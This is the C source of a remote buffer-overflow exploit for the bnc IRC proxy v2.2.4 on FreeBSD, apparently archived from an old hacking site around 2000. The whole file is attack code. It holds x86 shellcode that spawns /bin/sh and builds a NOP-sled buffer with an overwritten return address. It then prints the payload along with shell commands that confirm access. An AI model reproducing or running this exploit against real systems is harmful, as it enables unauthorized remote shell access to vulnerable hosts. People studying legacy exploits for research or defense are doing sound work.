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- /*
- Remote exploit example for bnc (Irc Proxy v2.2.4 by James Seter)
- by duke (duke@viper.net.au)
- 32sep98 FreeBSD version by stran9er
-
- Greet to
- !@$@$A#%$#@!D%$#@!$#M@%%$@%c$!@$#!r!%$@e@$!#$#%w$@#$@#!!!#@$#$%
- */
-
- #include <stdio.h>
- #include <string.h>
- #include <sys/types.h>
-
- #define ADDR 0xefbfd907
- #define RETPTR 1036
- #define BUFSIZE 1041
- #define SHELLOFFSET 23
-
- char shellcode[] =
- /* added by me dup(0);dup(0) */
- "\xEB\x0B\\\x9Axxx\\\x07x\xC3\xEB\x05\xE8\xF9\377\377\377"
- "\x5E\x33\xDb\x89\x5e\xF2\x88\x5e\xF7\x31\xC0\xB0\x29\x53"
- "\xE8\xDE\xFF\xFF\xFF\x33\xC0\xB0\x29\xE8\xD5\xFF\xFF\xFF"
- /* generic shellcode */
- "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
- "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
- "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
- "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
-
- void main (int argc, char **argv)
- {
- char buf[BUFSIZE+5];
- unsigned long int addr = ADDR;
- int i;
-
- if (argc > 1) addr += atoi (argv[1]);
- fprintf (stderr, "Using address: 0x%X\n", addr);
-
- memset (buf, 0x90, BUFSIZE);
- for (i = RETPTR; i < BUFSIZE - 4; i += 4)
- *(long *) &buf[i] = addr;
- memcpy (buf + (RETPTR - sizeof(shellcode)) - SHELLOFFSET,
- shellcode, strlen (shellcode));
- buf[BUFSIZE]=0;
- printf ("%s/usr/bin/uname -a\n/usr/bin/id\n/bin/pwd\n", buf);
- }
- /* www.hack.co.za [2000]*/